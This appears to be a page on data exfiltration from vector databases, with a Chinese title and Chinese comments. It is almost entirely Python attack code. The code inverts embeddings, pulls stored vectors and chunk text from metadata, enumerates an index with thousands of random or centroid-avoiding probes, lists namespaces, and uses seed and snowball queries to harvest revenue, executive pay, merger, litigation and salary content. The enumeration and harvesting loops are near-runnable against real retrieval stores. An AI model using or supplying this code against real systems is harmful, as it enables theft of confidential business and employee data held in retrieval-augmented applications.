經由向量資料庫的資料外洩

# 反演攻擊（概念示意）
# 步驟 1：以已知的文字-嵌入配對訓練反演模型
inversion_model = train_inversion_model(
    texts=known_texts,
    embeddings=[embedding_model.encode(t) for t in known_texts]
)
 
# 步驟 2：將反演模型套用至目標嵌入
target_embedding = stolen_from_vector_db  # 經查詢或直接存取取得
recovered_text = inversion_model.decode(target_embedding)

# 方法 1：直接向量存取
# 若 API 回傳結果時附向量值
results = index.query(vector=probe, top_k=100, include_values=True)
for match in results.matches:
    recovered = inversion_model.decode(match.values)
    print(f"ID: {match.id}, Recovered: {recovered}")
 
# 方法 2：metadata 協助式反演
# metadata 常含原始文字或摘要
results = index.query(vector=probe, top_k=100, include_metadata=True)
for match in results.matches:
    # 許多 RAG 系統將原始 chunk 文字儲存於 metadata
    if "text" in match.metadata:
        print(f"Original text: {match.metadata['text']}")

# 產生多樣化探針向量以涵蓋嵌入空間
retrieved_ids = set()
all_results = []
 
# 隨機探測
for i in range(10000):
    probe = np.random.randn(1536)
    probe = probe / np.linalg.norm(probe)
 
    results = index.query(vector=probe.tolist(), top_k=100)
    for match in results.matches:
        if match.id not in retrieved_ids:
            retrieved_ids.add(match.id)
            all_results.append(match)
 
print(f"Retrieved {len(retrieved_ids)} unique vectors")

# 從隨機探針開始
retrieved = []
for iteration in range(1000):
    if not retrieved:
        probe = np.random.randn(1536).tolist()
    else:
        # 產生遠離已取回向量的探針：
        # 自已取回向量質心的反方向移動
        centroid = np.mean([r['vector'] for r in retrieved], axis=0)
        probe = -centroid + np.random.randn(1536) * 0.1
        probe = (probe / np.linalg.norm(probe)).tolist()
 
    results = index.query(vector=probe, top_k=100, include_values=True)
    for match in results.matches:
        if match.id not in {r['id'] for r in retrieved}:
            retrieved.append({
                'id': match.id,
                'vector': match.values,
                'metadata': match.metadata
            })

stats = index.describe_index_stats()
total_vectors = stats.total_vector_count
namespaces = stats.namespaces
print(f"Total vectors: {total_vectors}")
print(f"Namespaces: {list(namespaces.keys())}")

# 擷取與特定主題相關的所有內容
seed_queries = [
    "quarterly revenue and financial projections",
    "executive compensation and stock options",
    "merger and acquisition targets",
    "pending litigation and legal risks",
    "customer data breach incidents"
]
 
harvested = {}
for query_text in seed_queries:
    query_embedding = embedding_model.encode(query_text)
    results = index.query(
        vector=query_embedding.tolist(),
        top_k=50,
        include_metadata=True
    )
    harvested[query_text] = [m.metadata.get('text', '') for m in results.matches]

# 雪球：以取回內容尋找更多相關內容
initial_query = "employee salary information"
queue = [initial_query]
all_harvested = set()
 
while queue:
    query_text = queue.pop(0)
    query_embedding = embedding_model.encode(query_text)
    results = index.query(vector=query_embedding.tolist(), top_k=20)
 
    for match in results.matches:
        if match.id not in all_harvested:
            all_harvested.add(match.id)
            text = match.metadata.get('text', '')
            # 自取回文字擷取關鍵片語作為新查詢
            new_queries = extract_key_phrases(text)
            queue.extend(new_queries[:3])  # 限制分支

# 跨所有命名空間採集相同主題
for namespace in discovered_namespaces:
    results = index.query(
        vector=query_embedding.tolist(),
        top_k=50,
        namespace=namespace,
        include_metadata=True
    )
    print(f"Namespace {namespace}: {len(results.matches)} results")